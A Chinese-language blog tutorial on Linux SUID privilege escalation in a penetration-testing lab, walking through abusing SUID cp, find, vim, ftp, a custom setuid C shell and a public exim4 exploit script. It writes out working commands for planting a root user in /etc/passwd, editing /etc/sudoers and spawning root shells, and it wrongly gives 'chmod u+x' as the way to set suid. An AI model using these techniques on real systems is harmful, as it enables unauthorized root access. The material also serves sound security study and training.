当前位置: 首页 > news >正文

内网渗透-Linux提权之suid提权

Linux提权之suid提权

suid简介

在Linux系统中的文件,通常有rwx也就是读、写、执行三种权限,但其实还有第四种权限,也就是suid权限。在执行拥有suid权限的文件的过程中,会获得文件属主的权限。例如,当cat命令具有suid权限,那么用户就可以查看任何文件,如果只是普通权限,那么只能查看一些普通用户可以看的文件,无法查看root用户的文件。

SUID(Set UID):

suid权限仅对二进制程序有效(binary program);
执行者对于该程序需要具有x的可执行权限;
本权限仅在执行该程序的过程中有效(run-time);
执行者将具有该程序拥有者的权限。

在说suid提权之前,我先说一下如何赋予文件suid权限和如何查找具有suid权限的文件。

chmod u+x a.txt //赋予a.txt suid权限
在这里插入图片描述

find / -perm -u=s -type f 2>/dev/null
参数:
	/表示从文件系统的顶部(根)开始,查找每个目录
	-perm表示搜索后面的权限
	-u=s表示查找具有suid权限的文件
	-type表示我们正在寻找的文件类型
	f 表示普通文件,而不是目录或特殊文件
	2表示到进程的第二个文件描述符,即 stderr(标准错误)
	>表示重定向
	/dev/null是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。

在这里插入图片描述

cp提权

当我们运行cp(复制)命令时,就会有root权限,也就是说我们可以复制任意文件。众所周知/etc/passwd这个文件是保存用户的,只有root才可以修改。但是现在我们的cp命令具有root权限,那我们是不是可以把/etc/passwd这个文件的内容复制到一个新建的文件中,然后添加一个root用户,最后再复制回去不就完成对/etc/passwd文件的修改了吗,之后再切换我们刚刚添加的root用户即可。
这里我复制到a.txt中
cp /etc/passwd a.txt
在这里插入图片描述
在添加之前,我们先在kali生成一个密码,用来切换用户用的。

openssl passwd -1 -salt 1×2×3 abc123 //-1为md5,-salt指定盐(随意)密码abc123
在这里插入图片描述

然后按照/etc/passwd文件里第一条root用户的格式来添加就行,把x换成我们刚刚生成的密码

test:$1$1×2×3$v7HAeao264EWdUs17q7XK/:0:0:root:/root:/bin/bash

在这里插入图片描述

再复制回去就ok了。
cp a.txt /etc/passwd
切换我们刚刚添加的用户,并输入刚刚生成的密码即可变成root。
在这里插入图片描述

find提权

find也可以用来提权,在执行find命令的过程中利用exec参数来指定其他的命令。例如,在执行find命令过程中又执行whoami命令,因为在执行find命令过程中权限为root,所以最后输出root。
在这里插入图片描述

那我们只需把whoami换成/bin/sh,以root的身份新建一个交互终端即可,值得注意的是,要找的文件必须是存在滴

find a.txt -exec "/bin/sh" -p \;

在这里插入图片描述

vim提权

当vim被赋予suid权限时,可以编辑任意文件。那么我们直接在/etc/passwd添加个用户不就行了吗,和上面的cp差不多就不演示了。

还有一个方法是去修改/etc/sudoers文件,在/etc/sudoers文件中把普通用户的权限配置为root权限,按照root的方式配置即可。
在这里插入图片描述

然后再sudo bash就会获取一个root的shell,不过第一次要输入当前用户的密码,有点鸡肋

可执行文件提权

除了一些系统的可执行命令,自己写的可执行脚本也可以提权,以c语言为例。在kali编译好后再传进靶机里面,如果靶机有环境的话直接在班级编译也行。

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
 
int main()
{
	setuid(geteuid());
	system("/bin/bash");
	return 0;
}

然后复制到/bin目录下,再添加权限,但是在bin目录下的话普通用户就没有权限给予shell文件suid权限了???????
在这里插入图片描述

只能切换root用户再给予shell文件777权限和suid权限了,最后再切换回普通用户执行shell文件即可。个人觉得超级无敌鸡肋,既然我都能切换root用户给予权限了,那我还提个集贸权啊。在这里插入图片描述

ftp提权

先输入ftp ,再在底行输入!/bin/sh -p即可
在这里插入图片描述

exim4提权

先查看版本信息
/usr/sbin/exim4 --version
在这里插入图片描述

到kali漏洞库去找提权脚本,根据脚本适用版本以及脚本信息来判断使用哪个脚本。这里我们就用第三个,Privilege Escalation是权限提升的意思。
searchsploit exim 4.8
在这里插入图片描述

脚本上传到靶机,给予执行权限。
在这里插入图片描述

两种使用方式,不知道使用哪种就两种都试试即可。

./46996.sh -m netcat
./46996.sh -m setuid

在这里插入图片描述
在这里插入图片描述

总结

以上总结的是常见的suid提权,后续会持续跟新。

http://www.dtcms.com/a/115516.html

相关文章:

  • 论文精读:NC CoNb3S6拓扑能斯特效应 附Peer Review
  • L2-050 懂蛇语(测试点1)
  • 微软推出首款量子计算芯片Majorana 1
  • MySQL中的索引
  • YOLOv11实战电力设备缺陷检测
  • VB.NET Asp.Net Core模板WebAPI应用-宝塔面板Linux系统通过Docker部署
  • 常见的 JavaScript 框架和库
  • OpenDriveVLA:通过大型视觉-语言-动作模型实现端到端自动驾驶
  • Qt Quick 与 Qt 版本匹配关系
  • 前后端开发的未来趋势
  • 内容中台:全域信息协同新引擎
  • RCE漏洞的小点总结
  • 高并发内存池:原理、设计与多线程性能优化实践
  • 【Kubernetes】Kubernetes 如何管理存储?PV 和 PVC 是如何工作的?
  • C++——清明
  • QScrollArea 内部滚动条 QSS 样式失效问题及解决方案
  • JavaScript逆向WebSocket协议解析与动态数据抓取
  • 【CMake】《CMake构建实战:项目开发卷》笔记-Chapter11-实践:基于onnxruntime的手写数字识别库
  • LENOVO联想ThinkBook 16 G6 ABP(21KK)恢复预装OEM原厂Win11系统镜像
  • 每日c/c++题 备战蓝桥杯(小球反弹)[镜像思路求解,最小公倍数]
  • 为什么 LoRA 梯度是建立在全量参数 W 的梯度之上
  • 面向对象编程(OOP)概述
  • 低延迟云网络的核心技术
  • OpenCV轮廓检测全面解析:从基础到高级应用
  • docker的run命令 笔记250406
  • 《深度学习入门:基于Python的理论与实现》第二章感知机
  • 基于OPENCV的图像透视矫正
  • MySQL-SQL-DDL语句、表结构创建语句语法、表约束、表数据类型,表结构-查询SQL、修改SQL、删除SQL
  • 文件映射mmap与管道文件
  • 每日c/c++题 备战蓝桥杯([蓝桥杯 2023 省 B] 冶炼金属)